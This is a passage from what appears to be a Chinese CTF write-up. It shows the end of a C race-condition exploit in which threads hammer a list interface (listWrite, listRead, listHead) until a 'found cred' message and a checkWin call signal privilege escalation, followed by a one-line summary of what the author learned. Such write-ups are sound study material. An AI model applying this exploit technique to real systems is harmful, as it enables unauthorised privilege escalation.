printf("[+]found cred!!\n");
if (count ++ > 2) {
break;
}
}
}
listWrite(data,maxLen * 4);
checkWin(0);
} else { // 主线程
while (1) {
listHead(buf);
listRead(buf,BUF_SIZE-24);
if(buf[0] != 'a')
break;
}
}
return 0;
}

小结:

感受了一下条件竞争打法,学到了不少的东西